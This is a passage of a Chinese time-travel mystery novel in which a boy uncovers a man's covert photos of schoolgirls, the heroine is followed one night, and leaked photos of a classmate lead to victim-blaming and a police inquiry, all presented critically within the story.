在认识她之前,他从来没有注意过苏芸,以后也不会注意到。甚至就目前来说,哪怕是他们已经算得上认识,对方都很少主动与自己说话。
当他死在六月八日之后,新闻上是怎么说的来着?
那时苏芸一开始便承认自己喜欢周湜与。警察问她溜进男生宿舍是去做什么的,她掏出了那封情书。
所以,根据结果反推,大家自然而然认为苏芸是去找周湜与的。
可如果不是。
那么她究竟是想做什么呢?
*
二零一零年四月十五日。周四。
与上次一样,周湜与在晚上七点离开,他来到解放桥小区,在附近的一处废旧的洗车店前停下脚步,那里背光,他拿出本子,滴上自己的一滴血。
再睁开眼时,是七年前后的同一条路。
旧小区门口没有保安守着,也没有门禁,他低着头,循着上次的记忆来到郑俊文的家。从楼下网上看,全屋灯都关着,但周湜与还是敲了敲门,等了将近一分钟,里面没有任何动静。
他的兜里还是藏着那把小刀,不过这次多了两根曲别针。
周湜与把曲别针掰直,伸进钥匙孔中。
小时候,他有过很多次被周因昌惩罚关在黑屋子的经历中。接近十个小时没饭吃,长身体的孩子常常饿得晕头转向,他拍门,门外的周因昌从不应声。
他扒在门缝听了很久,外面似乎没有人。
所以,还是孩子的周湜与就已经学会了撬锁。锁不会被他撬坏,偷偷溜出去吃饱喝足。
所以,每次周因昌回家,看到儿子缩在床尾都以为他真的饿了大半天。只有那时候,他对亲生孩子的悲悯心才会生出来。
“啪嗒。”
门开了。
即使周湜与还没有开灯,但他感受到了扑面而来的冷和空。
墙壁和地板都是冰冷的水泥,他踏进去,被空荡荡的凉意包裹。
客厅里只有一张红木漆沙发和一把椅子。茶几很矮,四个铁桌角夹起一块厚实的玻璃板,玻璃板下压着几页健身房海报和一张长跑比赛的奖状。冰箱有些年头了,运行声音轰隆隆,厨房中桌上摆着一盘没吃完的炒白菜。
周湜与轻放脚步,视线扫过郑俊文家里的每一个角落。
回头,除了卧室,还有一扇门紧闭着。
他没有犹豫地推开。
房间里黑漆漆的,窗帘紧紧闭着。
周湜与眯起眼睛,右手在墙壁上摸索着,好不容易找到开关,按下去,头顶的灯却没亮。
门大开着,客厅里的灯露进来。
正对着书桌的那面墙上,挂着一块两层塑料柜。
周湜与定睛一看,当年那台索尼P200数码相机正放在正中。
塑料柜上一共六个格子,全部摆着各种各样的相机。
镜头对着外面,在昏黑的房间里,像是静静地嵌在墙壁中,只有监视的目光冷冷地凸出。像几只沉默的独眼。周湜与与它们对视几秒,忽然瞥见桌角摆着几张零散的照片和一摞相册。
他拿起来。
照片来自于七八年前。
上面的时间标着日期。一开始,周湜与只以为这是一些毫无技术的风景照。
但逐渐翻过几页,他察觉到不对劲。
镜头全部都是对准着同一个人。一开始的镜头在马路对面,那个女生徘徊在公园门口,站在一群人中并不显眼,随后一点点拉进。他过了马路,跟着她走近公园。公园里的树林中被几道蜿蜒的石子路隔成几块。他的镜头依旧隔着很远,对准走在其中一条石子路的女孩儿身上,有时候离得近些,有时候女孩儿的身子几乎全部被树枝挡住。
就在周湜与以为所有照片的镜头距离都会保持在这种遥远的注视中时,他看到了这个女孩儿半裸的背影。
她背对着镜头,脱掉短袖,露出只有内衣遮挡的后背。
周湜与惊疑,“啪”地将相册关上。
那个女孩儿穿着二中的校服,但他不认识。
可之前那个令他恐惧的念头在一点点成形。
他犹豫再三,还是重新打开了那个本子。
接着往后翻,他看到了苏芸。
跟之前那个女孩儿一样,苏芸在显然不知情的情况下,在家里超市帮忙的时候,被郑俊文偷拍下来。镜头代表着拍摄者的眼睛,他的镜头即使大部分离主人公很远,但捕捉的时刻全是她们……露出年轻身姿的时刻。
抬手扎头发的,脱掉外套的,对准裸|露脖颈的……
甚至一张从门外向里拍摄的女卫生间相片。
一束阳光洒进卫生间高高的小窗户中,灰突突的。
胃里翻腾。
周湜与思索郑俊文与自己死亡的相关性。
随手翻开了另一本相册。
猛然间,他僵在原地,瞳孔紧缩,头皮开始发麻。
周湜与抽出新的照片,紧紧握在手中,沁骨的凉意如同藤蔓,将他牢牢禁锢。
怎么也想不到,他会在这堆照片里看到黎遇。
她笑着的,跳跃的,和同学打闹的,嗔怒的。
那些神色分明是流动的五颜六色,可在郑俊文的手下,却只有一种色彩。
灰色。
周湜与不知道郑俊文想做什么,但显然这些每一个女孩儿都是他精心寻找的,从七年前高中毕业后,他的镜头中的对象也随之年龄增长。
直到如今,只有黎遇一个高中生。
他觉得自己呼吸停滞了。
抬起头,面前是一面巨大的二零一七年日历。
郑俊文在四月十五日这天画了一个红圈。
旁边写了一个字。
遇。
不就是今天么?
*
今天是周六。黎遇放学后照例去补习物理,物理课后她留下来多问了老师两道题。走出教室门时,整个补习班的大厅几乎都空了。
她背上书包,往外看,“外面停电了?”
“嗯。”前台正在往脸上扑粉,“整条街都没有灯了。”
“哦。”黎遇低下头,看见哥哥给自己发短信,说路上三辆车追尾,堵得厉害,让她走到春华路路边等她。
春华路距离她大约有七八分钟步行的距离。
她给自己的保温杯接了一点儿热水,摸黑沿着街边往路口走。
从下课到现在二十分钟,补习课门口的人陆陆续续全部走光。马路上来往的车辆也变少了。
很快,整条街上,只有一位环卫工人和她自己。
四周是黑沉的,黎遇莫名忽然有些害怕。她一向认为自己从小就有一种能力,她对即将到来的危险有强烈的敏锐。
黎遇低头把手机上的手电筒打开。没有注意到路过的公车上下来一个年轻男人。
她在地图上输入春华路,想找一条最短的路线,等待过马路的时候,街口慢吞吞地驶过来一辆三轮车。
三轮车后面挂着一个纸板,
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上面用黑色马克笔写着三个字,换玻璃。
车板上架着几块大小不同的玻璃。三轮车主在等待红灯的时候点燃了一支烟。烟雾随着风飘过来,黎遇嫌弃地皱皱眉头,往旁边走了一些。
手电筒的光恰好照射在玻璃上。
电光火石间,在玻璃的倒影中,黎遇捕捉到了一个人影。
一个熟悉的,令她惊恐的人影。
她迅速回头,恍惚中,她以为自己回到了晚自习后独自回家的路上。
即使天色很暗,即使没有路灯,即使她的眼睛有一百度的近视,即使那人依旧离她不近。
但黎遇在瞬间就认出了郑俊文。
另一个方向的绿灯进入倒计时。
她转身,没有任何徘徊,拔腿就跑,在剩下一秒的时候她跑过路中间,第一排的白色宝马刺耳鸣笛,手心里紧紧握住的手机在不停震动,地图的机械女声不停地提醒她。
「您已偏航,正在为您重新规划路线。」
她想跑,跑得越远越好,可手机中不断的震动声提醒着她与此同时也在距离哥哥越来越远。
黎遇回头。
郑俊文好像不见了踪影。
这一次,她无论如何也不愿意在安慰自己遇到只是碰巧。
她也顾不上思考郑俊文为什么盯上了自己。
她在一辆吉普车后观察了一会儿,往春华路的方向跑去。
地图重新为她规划最近的道路,可似乎是人少的小路,黎遇不敢去,七拐八绕彻底乱了步伐,但这个时间,其实附近哪里人都不多。
这是锦城的老市区,路上的砖坑坑洼洼,黎遇被几块松了的地砖崴了几次,在路过门店狭窄的成人用品商店时,她下意识向右边看。
那是通往小巷子的尽头,那里是一处只有退休老人住的矮楼。
许久没有人收走的垃圾散发着令人作呕的味道,混合着不知道从哪里传来的肉包子气味。
在寂静的夜里,几声犬吠传来,黎遇睁大眼睛,在距离自己不到十米的小巷尽头看见了郑俊文。
他好像眼睛眨了一下,却又同被钉住的木偶。
成人用品商店打烊,老板关了上门。
“啪——”
周湜与手一抖,相片掉在地上,散落了一地。
惊惧像是冰冷的磨爪,从他的脚底蔓延到脊梁,恶狠狠地抓紧他的心脏。
他心跳声剧烈,在散落的照片中,他终于看到了更露骨的照片。
少女只穿着内衣的正面照片。
他的心跳剧烈得让他几乎停止了思考。
难道这些被镜头下的女孩儿并不是被偷拍的?
周湜与不敢仔细看,他胡乱翻,再次看到了苏芸。
没有黎遇。
幸好。
但郑俊文在今天的日期上标注着她的名字。
周湜与兜里的手机来自七年前,在现在用不了。
心脏不停地往下坠。时间已经过去将近二十分钟,他马上就要回到二零一零年。他知道仅凭自己,在这个晚上找不到黎遇。
他的额角和手心全是冷汗,从客厅到卧室,把每个柜子翻出来,在茶几下,脚尖碰到了一个纸盒。
万幸,里面竟然有一部手机,而且是有信号的!
黎彦尧的手机号他还记得。
冰冷的窒息裹着他,空气好像都在发抖。
周湜与的后背已经被汗浸湿,一边祈祷黎彦尧没有换手机号,一边颤抖着给他拨通了号码。
*
“嗡,嗡——”
黎彦尧烦躁不已,车后是此起彼伏的鸣笛。
手机亮起,显示来电。
他拿过来,看清屏幕的一瞬间,脑袋轰地一下,汗毛倒竖。
来电显示的名字正是苏芸。
20. 一个拥抱
第二十章一个拥抱
电话打不通。
影子落在蜕了皮的墙上,被远处呼啸而过的车灯一晃,像漂浮的鬼影。
黎遇手心全是汗。
哥哥的电话还是占线。
而郑俊文已经朝她这边走来。
他的步伐越来越快。
她低下头目光想回看,都能看到那道黑影从墙壁飘到了地上。
北风春天里的夜风,不是吹,是钻,往街道,小巷,墙角直溜溜地钻。
黎遇转身,向马路更宽敞的地方拼命跑去。
路边低矮的道牙差点儿让她崴脚,但她不敢停下,快速低头拨通110,回身望去时见郑俊文这一次不再不远不近地跟着自己,而是也加速追赶。
她呼吸不稳,尽力清晰地告诉电话那头警察自己的位置,耳朵竖起来,感觉到脚步声越来越近。黎遇转弯。
“你跑什么?”
有人一把抓住她的胳膊。
黎遇不由惊叫一声。
光秃秃的树枝在凹凸不平的地砖上乱晃。
“是我啊。”
董逸帆睁大眼睛望着她,“你跑什么,我喊你好几声了。”
黎遇脑中轰隆一声,两腿发软,站都站不住。董逸帆忙抱住她的胳膊,“你咋了?”
“我……”黎遇转头朝四周都仔细看去,夜里静悄悄的,除了几声遥远的犬吠,哪里还有郑俊文的影子。
“你在找谁啊?”
“你从哪里来的?你怎么在这儿?”
“我也刚上完课啊,太饿了,去对面买了个面包。”他举起没吃完的面包,“你没事儿吧?怎么……脸色这么差啊?”
黎遇眼角有点儿湿,“你过来的时候没看见一个男的吗?”
“我、我没注意。”他挠挠头,“我从马路对面过来的。”
*
苏芸的名字像鬼魅一样爬上他的心头。
但黎彦尧不敢多想,几乎是立刻便接通了电话。
只是电话那头是个男声。
并且声音听上去有些奇怪,似乎是刻意压低些。
黎彦尧大脑一片空白,一连问了两遍,“你是谁?”
周湜与听到了好友熟悉的声音,只微微松了一口气,他冷汗顺着额角往下滴,心脏很快吊起来,“你妹妹呢?黎遇呢?你现在跟她在一起吗?”
“曈曈?她怎么了!你到底是谁?”
“你别管我是谁,去找她,马上去找她,听到了吗!”
周湜与喉咙发紧,低吼道。
他料定黎彦尧一定半信半疑,甚至怀疑这一切是恶作剧,可涉及到他的亲妹妹,即使狐疑,他也不会坐视不理。
周湜与还想说什么,可手腕一软,身子向后倒,郑俊文的客厅天花板离他越来越远。他狠狠摔倒在地,回到了二零一零年。
“妈的……”他拳头愤愤砸在地上。
“砰!”
黎彦尧不管不顾地打开车门冲出去。
凉风在暗处不轻不重地游走,街对面的店铺的灯明明灭灭,像只睁开半只的双目。
来电显示的是苏芸,以及对方说出话往他很难不怀疑一切都是骗他的,可那人嗓音中颤抖的恐慌也不是假装的。
更何况……
黎彦尧晃晃脑袋,给黎遇拨去电话,“曈曈,你怎么样!”
他距离黎遇并不远,赶到时警车正在路边停着,车顶上的红光闪烁。
“曈曈,怎么了?”
“哥……”
黎遇看见哥哥,扑过去嚎啕大哭。
“刚才有人追我,一直在跟着我。”
“谁?”
黎遇抹去眼泪。
低声说:“是郑俊文。”
黎彦尧瞬间褪去血色。
女警皱起了眉头。
“你确定你看清了他?”
“对,我肯定,一定是郑俊文。”
*
他们一行人做完笔录走出来。
黎彦尧紧紧拉着妹妹的手腕,“别怕,他们已经去查监控了,爸妈到机场了,会赶上最近一班从南京回来的飞机,曈曈……我们不会让你受到伤害的。”
“不用怕,不用怕……”
他不断重复着,忽然抬手给了自己一巴掌。他承认,是他之前疏忽了。
事到如今,黎彦尧终于想起来当时上学时郑俊文还进过一次女卫生间,当时他自己说走错了,他们也就信以为真。
再仔细想想,郑俊文也许一直都是个变态。
更令黎彦尧心中掀起惊惧的是电话那头的陌生人和来自苏芸的电话。他根本无法向任何人言语自己的悔恨。
他已经失去最好的朋友了,不能再失去自己的亲妹妹。
在打开门前,黎彦尧对妹妹开口。
“刚才,我接到了一通电话,来电显示是苏芸。”
“什么?”黎遇蹙起眉头,“可是……”
“没错,苏芸已经死了,所以打电话的是一个男的。”
“是谁?”
“我不认识,他没说自己是谁。”黎彦尧打开门,他倒了一大杯冰水给自己,“但是他跟我说,让我立刻找到你,就好像……”
“好像知道我会遇到危险一样,对吗?”
黎遇轻声问。
“对。”黎彦尧烦躁地抓了抓头发,他在客厅里转了一圈,坐在沙发上,很快又弹起来,“七年前,周湜与刚死的时候,我跟苏芸联系过几次,所以手机里存了她的电话号码,这些年,我没有换过手机号,但是显而易见她已经换了。”
他一口气说完,把杯子中剩下的冰水喝完,剧烈咳嗽了几声。
黎遇走过去拍了拍哥哥的后背。
黎彦尧停顿了许久,最后颤抖着声音低语:“曈曈,我一直都觉得,我从来都没有怀疑过,周湜与的死一定不是那么简单……”
耳膜震动让他眩晕。
方才一闪而过的想法他没有告诉妹妹——他觉得那个人的声音很像……周湜与的。
*
关于电话那头的陌生人,黎遇的心里已经出现了一个明确的答案。
她冲进书桌前。
果不其然,周湜与的字迹已经留满了整整两页纸。
急切的,惊恐的,自责的,那些满溢的情绪让黎遇来不及读完。
「我没事的」
她留下四个字。
几乎是立刻地,纸上出现属于周湜与的龙飞凤舞。
也只有四个字。
「我想见你」
「好。」
写完这一个字,她的眼睛湿润了。
黎遇自己也说不清楚为什么。
经历了一晚上起伏的恐惧,直到此刻,当她抚摸着那些力透纸背的字迹时,才终于感受到那些无助慌张的情感归位,被人牢牢地托住了底。她同样急切地渴望告诉他发生了什么,也想知道哥哥接到的那个电话又是怎么回事。
没有能懂她的心情。
除了周湜与。
唐小府豆浆油条已经打烊。
黎遇在门口徘徊。七年前的现在,观澜院依旧还在建设,
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夜晚,建筑工地已经陷入死寂。
十分钟前,她与周湜与说好在她家门口见面。
一辆面包车挥舞着尘土沉重驶过,再向远驶去时,周湜与在对面出现。
她垫着脚尖冲他招手,见路上没车,立马跑过马路。
像第一次见到他一样,在浅浅的路灯下,他今天的面色也依旧算不上很好。
黎遇抬起头,“你跑过来的?”
他向前走了一步,低头细细打量她。
黎遇正要说自己没事,却忽然被他拥进了怀里。
那是一个温暖的拥抱。
他垂下头,黎遇感觉到他的发丝贴在耳朵上,痒痒的。
她忍不住想笑,却听到了他扑通扑通的心跳声。
周湜与也听到了。
那是不同于刚才在郑俊文家里的紧张。
他好像有很多话想说。
但最后,他只是黯声开口,“对不起。”
黎遇轻轻用拳头敲了一下他,“哎,你道什么歉?”
“我没保护好你。”
这是周湜与第一次痛恨自己没活到二零一七年,他与她待在同一时空的时间是那么有限,以至于今晚他被困住在另一个时空,明知道她有危险,什么都做不了,只能向别人求助,只能等待。
他双臂用力,身体的温度传到黎遇的身体里。
她抬手,忍不住也回抱住他。她侧着身,更清楚地听到了他有力的心跳声。
“我、我当时也很害怕。”
她扬起头,看着他,“真的,但是妈妈从小就说我是有福的孩子,我觉得我不会死。”
周湜与捏紧拳头,双眼中冒出冷冰冰的光。
路边有两个车墩子,他把外套脱下来垫在上面让黎遇坐下,随后一五一十地向她道出他在郑俊文家看到的一切。
当提到那些女孩儿被偷拍的私密照片时,黎遇顿时脸色惨白。
“那……那他会把这些照片公开吗?”
“我不知道,至少目前学校里还没有流传出来。”他沉默稍许,“但是,你说他会不会用这些照片来威胁她们呢?”
“我们要阻止郑俊文!”
黎遇握住他的手腕,等了一会儿,轻轻晃了晃,“你怎么不说话?”
他顿了顿,抬起头,对面正巧驶来一辆车,车灯大亮,黎遇这才看清他的双眼中全是红血丝。
“你哥怎么说?”
“他?说什么?”
“你被人跟踪,黎彦尧不会让你再单独回家了吧?”
“嗯,爸妈和哥哥以后会送我上下学,看着我进了学校再走。”
“以后学校再有人提起苏芸的事情,你就当做跟自己毫无关系。”他转过头,双眼中尽是寒光,“既然他在毕业后特意买下苏芸之前用过的手机号,说明当时的事情他知道些什么,也许这几年他一直在暗处保护凶手和自己,所以会敏锐地发现你在查那件事,这才盯上了你。”
“——至于照片,我尽力想办法。现在距离高考还剩下不到六十天,考试对你很重要。”
“那你呢?”
“我?”周湜与笑道:“我能有选择活下去的机会已经很幸运了。”
黎遇还是紧紧握着他的手腕,他合上手掌,轻轻压住她的指尖,听到黎遇认真说:“我不怕,我什么都不怕,一切都会好起来的。”
暖流从指缝流入心脏。
周湜与点点头,正想问她渴不渴,只觉得手心一空,他猛地回头,尘土飞扬,如同第一次见面一样,她来去匆匆,与他不道而别。
21. 死亡
第二十一章死亡
周湜与刚回到宿舍,门被砰地推开。廖康冲进来,跑得气喘吁吁,“我靠我靠,你们知道高二那个女生的事情吗?”
“那个女生?什么事?”
廖康坐下来,“你们连这个都不知道。我们学校的贴吧上都传疯了,那个叫吴婷儿的女孩儿的照片被人放到网上了。”
“什么照片?”
“还能是什么照片?”他挤眉弄眼,“刚才好几个人都在□□空间里转发了,你们没看到啊?”
他们手里各个拿的都是诺基亚手机,宿舍里又没电脑,没人登得上网络。
他掏出自己的手机,刚才在网吧的时候,廖康拍了几张照片,光线不清晰,像素很低,几个男孩儿头挨在一起,有人失望地“切”了一声。
周湜与走过去,“什么?”
廖康把手机递过去。
他想起了那些在郑俊文家里看到的照片。
这些照片的时间线拉得很长。
大约从去年夏天开始,照片中从来都只有她一个人:
吴婷儿穿着短袖,课间做操时抬起胳膊,年轻的曲线显出来;体育课上她穿着短裤,露出两条光洁的腿;教室里低头系鞋带时,单薄的衣领坠下去;还有穿着拖鞋对准她光裸的脚趾……
“没什么好看的……”旁边那床的男生爬上铁梯,打了个哈欠,“我以为会有什么劲爆的照片呢。”
男生宿舍很快没人说话。就在周湜与慢慢陷入梦境时,忽然有人又琢磨道:“那女生是高二的啊,我怎么从来没见过?”
廖康爬起来,哼道:“呦,几点了。怎么还回味呢?”
“去你的,我就是觉得她长得还不错,我怎么没什么印象……按理来说,美女嘛,我要是操场或者楼道里遇到是记得的。”
“长得也就还行,但身材还不错……啧,确实不错。”
周湜与翻了个身,冷声道:“不是刚才说没什么好看的么?”
*
第二日两节课后,整座教学楼都在谈论吴婷儿的名字。讲台上放着台电脑,有人在办公室门口放风,剩下的男生围在电脑旁登录锦城二中贴吧。
“好多帖子都被删了。”
“我昨天看到的可比这些多。”
“有什么可看的,穿这么掩饰,你们没点过弹窗小广告啊?”
他们对视一眼,很快不怀好意地笑了。
下课铃声响起,男生们依旧聚在讲台边上,英语老师走进门口,听到他们谈论的内容,高声道:“都要高考了,你们的心思放在哪里?”
见他们依旧嘻嘻哈哈,老师扫到照片,“你们自己没有胳膊腿吗?别人的有什么好看的?”
英语老师是个年轻女性,批评两句,自己脸先气得通红,有胆子大的男同学立刻怪声怪气,“哎呀,老师你是女的,你又不懂。”
教导主任经过,铁尺子狠狠打在门框上,班里静了两秒,听她怒喝:“上课铃响了几遍了?你们无法无天了是吗?都给我滚回座位准备上课去。”
班主任在中午放学前来班里特意三令五申,不准再传播任何有关吴婷儿的照片,也不准再议论这些事情,如果有人知道照片是谁放到网上的,可以私下告诉老师。可是,即使如此,大家的嘴并没有堵住。
中午在食堂,周湜与听到隔壁座位的几个女孩儿也在议论纷纷。
“拍照倒是没什么……”
“但是谁会故意把镜头对准那些地方啊,太怪了,简直是变态。”
“就是,现在这么热,但一想起那些照片吓得我还要裹着长袖外套,连短袖都不敢穿。”
“真的是服了。”
“哎,吴婷儿今天来上学了吗?”
“上了,不过刚一来就被老师叫到办公室去了。”
下午第一节课前,忽然有人跑进楼道里激动怪叫,“我靠,你们快看贴吧里的新照片!”
坐在窗户边的那排学生里面抬起脑袋向外看,兴奋在班里此起彼伏地传递,“怎么了怎么了?又怎么了?”
那人风一样地蹿进班内,“这次是床照!”
*
黎彦尧连着几日发烧不退,上午请了大半天假,下午回来时,班里乱成了一锅粥。不,不止班里,整栋教学楼都扬着一种心照不宣的喧嚣氛围。他紧皱着眉头,在自习课上不明所以地接过前排男生递来的手机,那是化学课代表的手机,全班唯一的触屏。
“快看,好东西。”
他低头,映入眼帘的是一个女生睡觉的照片,她右边眉梢有颗小痣,盖着被子,胸部以上的位置露出来,穿着一个粉色的吊带,胳膊放在被子外面。
前排男生回过头,见他没反应,挤眉弄眼,“还挺白的吧?”
“这是谁?”
“高二的吴婷儿,你上午没来,错过了不少好东西哦。”
黎彦尧不感兴趣,把手机还给他,往门边看了一眼,只问道:“周湜与呢?”
对方耸耸肩,“没看见,大概逃课出去打篮球了?”
黎彦尧本来没有把这张照片放在心上,直到快四点的时候,听说警察来了,吴婷儿也被带去了警察局。
下课时,安静了不少。女孩儿们聚在一起,抬起头时,表情有些隐隐的担忧。
黎彦尧去上厕所,听到几个男同学笑道:“那些照片,我本来以为是在学校被人偷拍的,没想到竟然还有床照……”
“听说吴婷儿上警车的时候哭了。”
“哭了?有什么可哭的……”
“还有人说,现在警察在找照片的传播者。”
男同学听到这句话,卫生间里静了几秒钟。
随后心照不宣地嚷嚷道:“真有意思,这照片难道不是她自己允许拍的吗?”
“就是,不然谁会没事偷拍她呢?”
“而且谁让她那么少的?体育课也不是人人都穿短裤的吧?”
“跟我们有什么关系?”
说话的男生打开水龙头,稍微沾了沾指尖,把水甩掉。
有人低头拽了拽裤脚,插嘴笑道:“这话说得不对,她穿短裤的时候不是造福你了嘛?”
黎彦尧再也忍不住,目光冷下来,“赵霖宇,我记得你也有个妹妹吧?”
赵霖宇一愣,大概自知失言,抿着嘴不再说话。黎彦尧狠狠撞开他,往外面走时,听到其他人却嘟囔道:“有妹妹怎么了,我妹妹又不像她一样骚……”
*
「还是未成年呢,就这么骚。」
「有没有人知道她的□□号,
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我约她出来玩『嘿嘿』」
「听说已经死了。]
黎遇在网站上搜索七年前的消息记录,看到了其中这样一条留言。今天上午第二节课后,周湜与写下一段话,让她帮忙查查二零一零年时吴婷儿的事情。
同名同姓的人太多,加上事情已经过去很多年,黎遇花费了不少时间才确认吴婷儿的确已经在当年自杀死亡。
她在本子上给周湜与留言。
「不过,七年前吴婷儿选择自杀的原因应该是后来有人曝光了她换内衣时背影的照片。几乎是□□的后背,当时传播得很广。」
「她怎么自杀的?」
「南桥公园,离二中大概三四公里远,她在公园里的跳湖了。」
周湜与在十分钟后回复她:
「我现在去找郑俊文的相机。」
黎遇看着吴婷儿的照片却长久不能平静。在她看来,除了最后一张换内衣的照片,剩下的都不过是再平常不过的生活中的瞬间捕捉。吴婷儿没有错,她穿短裤没有错,因为少女时期发育导致丰满的胸脯更是没有错。
错在拍摄的照片的那个人。他故意将目光聚焦在她的双腿缝隙间,聚焦在她抬起手臂时愈发明显的胸前。
还有那些人对她这个受害者的纷纷指责和嘲弄。
黎遇滑动鼠标,仔细看过每一条回复。显然,事情发生后,有许多看过照片的女孩儿同样感到害怕。
「这只是一些普通照片,难道只是被偷拍发到网上,就要被别人指手画脚吗?」
「同意楼上,难道以后夏天我们都不敢穿短裤吊带了吗?」
但这些担忧很快被针对吴婷儿本人的评价而淹没:
「这胸长得不错。」
「楼上的年纪还小吧,等到我这个年纪才知道看女人要先看腿。」
「就是屁股再翘一点就好了。」
还有些更不堪入目的,黎遇干呕一声,“啪”地关掉电脑。往教室走时,她心里隐隐有不安,一个念头虚无缥缈地在脑海深处升起,可她抓不住,只是敲打着她,让她觉得似乎有什么东西被她落下。她和周湜与手中已经有了很多证据,可还差关键的一环,有了它,他们就能把证据串联起来。
直到两节数学课结束,他们做完一套卷子后,黎遇才猛然意识到她忘记了什么——为什么二零一七年的网络中,根本没有人提到郑俊文的名字,甚至没有人猜测过这些照片是谁拍的?
她搓手顿脚,把草稿纸撕成了好几半。
——难道周湜与在郑俊文家里看到的照片并不是他本人拍的?
如果不是,那是谁呢?
不论是谁,为什么当年在吴婷儿死亡后,没有人查证偷拍者呢?
她心事重重地度过一整个下午。直到放学,哥哥开车在校门口等她。
穿过两个红灯,她才发现这不是回家的路。黎遇抬头,有些奇怪,“哥,咱们去哪儿啊?”
“警察局。”
“警察局?为什么?警察找到郑俊文了?他是不是跟踪我了?还有没有发现别的东西?”
黎彦尧踩下刹车,他们停在十字路口前的第一排。
他落下手刹,转过头,看上去同样忧心忡忡,捏紧方向盘,深吸一口气,“曈曈,郑俊文死了。”
22. 凶手
第二十二章凶手
周湜与手里握着郑俊文的相机。
他推开楼道里的窗户,从里面翻出去。
“周湜与?”
身后有人轻声唤他。
他回头,在墙角慢慢走出一个女孩儿。他眯起眼睛,借着隔壁一层楼露出来昏暗的光,看清了那人的脸。
她看上去随时被风吹倒。
苏芸问他:“你拿的是郑俊文的相机吗?”
周湜与低头,淡淡反问:“你怎么知道?”
苏芸又往前走了一步,“婷儿是我的朋友,我知道相机里有什么。”
“你知道相机里有什么。”周湜与一字一顿重复,“那么照片是谁传出去的?”
夜风不燥不闷,掠过枝杈,把树叶吹得哗哗响。
苏芸摇摇头,“我不知道,把相机给我可以吗?”
“——求你了。”
她抬起眼睛,周湜与这才发现她的眼睛是肿的。
“我准备把它交给警察。”
“他应该受到惩罚。”
“不行!”
苏芸顿时大惊失色,眼泪漱漱下落,惊声发出爆鸣,她冲过来想要抢相机,可是想起什么,又退后一步弱弱地看着他,“交给警察婷儿就完蛋了。”
“为什么?”
周湜与刚说完这句话,就听见后面有脚步声。他立马欠身避开,低声对苏芸道:“你先躲到墙后去。”
可苏芸一动不动。
她只是一直盯着周湜与手里的相机,像是被鬼附身了似的。
远处的光影摇晃,他看清了她眼里坚定的泪花。
“那边有人吗?”
保安喊道。
苏芸还是跟没听见一样。
她站在原地,面色苍白,肩膀开始抖动,仿若压抑着不得已的巨大痛苦,而这种痛苦比她在家里受到父亲的巴掌还要更甚。
就在这短短几秒钟。苏芸忽然向他看过来。这一次,她的目光中竟然有让他觉得震动却又看不懂的情绪。
周湜与把相机塞进她的手里,推了她一把,“藏起来!”
随后他转头,保安的手电在他的脸上晃了几圈,“几点了?怎么还在外面转悠。”
周湜与晃了晃手里的化学书,“睡不着,背化学方程式呢。”
保安脑袋往旁边抻,“还有别人吗?”
他侧侧身,往后面看,“没人了吧,我在这儿站半天了。”
保安皱眉,“我刚才好想听见有人说话。”
“您别吓我,我怕鬼啊。”
周湜与笑道,半真半假道:“您这么一说,我好像也听到了,但是我胆小,要不我俩一起找找,要是真有鬼,我俩也能出名了。”
“胡说八道什么呢。”保安佯怒,“我浑身起鸡皮疙瘩。”
他的手电筒又往旁边晃了一圈,“我走了,你赶紧回宿舍吧,领导说了,最近不让你们这么学生晚上在外面闲逛。”
周湜与摆摆手,直到保安走远,他才回头拐去墙角。
而苏芸低头看着手里的相机,忽然高高举起胳膊,狠狠砸向地面。
二手相机的很快变成了几块碎片。镜头裂了。
周湜与的目光沉下来,但与此同时,他意识到什么。低头捡起被摔出来的电池,他摸了摸,抬起头,“为什么?”
“自己拍的和别人拍的是有区别的。”
苏芸声音颤抖起来,但即使如此,她还是弯腰找到一块足够大的石头,艰难捡起来,狠狠再一次砸向那块已经支离破碎的相机。
周湜与没有阻止她。
他干脆坐在墙角。
直到苏芸停下手,气喘吁吁地蹲下来。
“如果是被人拍的,那么大家又会议论为什么婷儿会同意被拍这些照片,她是不是早都被人看光了,是不是……已、已经不是处女了……我不敢相信他们会用什么恶毒的词语骂她,如果是婷儿自己拍的,那么这些人大概讨论一段时间也就过去了。”她抹了抹眼泪,“会过去的,都会过去的。”
周湜与沉默了一会儿。
“所以她为什么会同意被拍这些照片?”
“这不是她的错!”苏芸蹭地站起来,她晃了晃,红着眼睛盯着他,“也跟你没有关系。”
“那么你们就这样放过郑俊文?”
“我们只想离他越远越好。”
苏芸低声开口,顿了顿,又道:“何况,那些照片中如果还有别的女孩儿呢?难道你还想牵扯更多人进来吗?”
一瞬间,这里安静得只剩下风声。
周湜与想起了男厕所的那些对话,良久维持着沉默,他点点头,正要起身离开时,苏芸接了一个电话。
她“嗯”了几声,眼泪又掉了下来。
放下手机,她抬头看向周湜与。
“怎么了?”
“吴婷儿的爸妈去警察局了,很生气,我要过去。”
“我跟你一起去。”
周湜与在路边拦下一辆出租车,他们到警察局门口时,他终于还是安慰苏芸道:“至少她父母来了,会保护她的。”
苏芸愣了一下,方才苦笑道:“你真的这么认为吗?”
风一阵慢一阵紧。
她吸了一口气,看向玻璃门上自己和周湜与并肩站立的倒映,留恋地看了许久,低头说:“如果是我的父母,他们会直接打死我的。”
*
他们走进去,一进门是接警大厅,往右走是条笔直的走廊,两侧办公室门大多紧闭,门缝下漏出细窄光线。门侧的墙上挂着牌子,他们路过询问室,办案区与备勤区,走廊最尽头的办公室门忽然被人推开,里面传来暴怒的哀嚎声,头顶的声控灯因此不断地一闪一闪。
他们停在门口。
里面一共有六个人。
一位女警正在安抚吴婷儿。
与苏芸不同,她的脸上一滴泪都没有。
坐在一张破旧的单人沙发上,任凭身边争执吵闹。
而在她身边嚎啕大哭的那对男女看上去有些年纪了,他们头发花白,比寻常同龄人的父母看上去年老许多。
苏芸轻轻道:“她爸妈四十岁才有了她。”
“你说,那些照片到底是怎么来的?”
女人抬起手,狠狠落在她的腿上,“说话啊!”
吴婷儿抖了抖睫毛,“我说了很多遍了,我自己拍的。”
“不小心放到网上的。”
“不要脸的东西,谁让你拍这些照片的?”男人咆哮道。
“那些照片怎么了?难道我不跑步吗?不睡觉吗?”
“不就是胳膊,腿,脚,还有胸脯吗?你们没有吗?他们没有吗?”
警局静了三秒。
剩下几个穿校服的女同学对视几眼。
“婊子!”男人一巴掌护上去,力道如此大,以至于吴婷儿整个人被掀翻,沙发腿刺啦刮着地板,“臭婊子,谁让你说那个词的?”
女警拦住他,严肃道:“吴先生,请你冷静!”
吴父甩开他。
男警起身大呵道:“不准打人!”
吴母突然一
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屁股坐在地上,抹泪哭起来。
